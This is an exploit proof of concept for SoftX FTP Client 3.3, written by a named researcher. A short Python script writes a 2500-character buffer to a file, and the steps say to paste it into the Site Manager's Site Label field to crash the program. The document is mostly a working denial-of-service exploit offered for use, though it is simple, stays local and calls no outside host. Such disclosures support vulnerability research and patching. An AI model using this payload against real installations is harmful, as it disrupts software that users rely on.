# Exploit Title: SoftX FTP Client 3.3 - Denial of Service (PoC) # Discovery by: Cemal Cihad ÇİFTÇİ # Discovery Date: 2018-09-24 # Tested Version: 3.3 # Vulnerability Type: DOS # Tested on OS: Windows XP Professional Service Pack 3 # Vendor Homepage: www.softx.org # Download Link: http://www.softx.org/ftp.html # Steps to Reproduce: Run the python exploit script, it will create a new # file with the name "boom.txt". Copy the content of the new file "boom.txt". # Now start the program. Now when you are inside of the program's Site # Manager window click "New" > "New Site". In the field: "Site Label" paste # the copied content from "boom.txt". # Now click "OK" and see a crash! #!/usr/bin/python buffer = "A" * 2500 payload = buffer try: f=open("boom.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"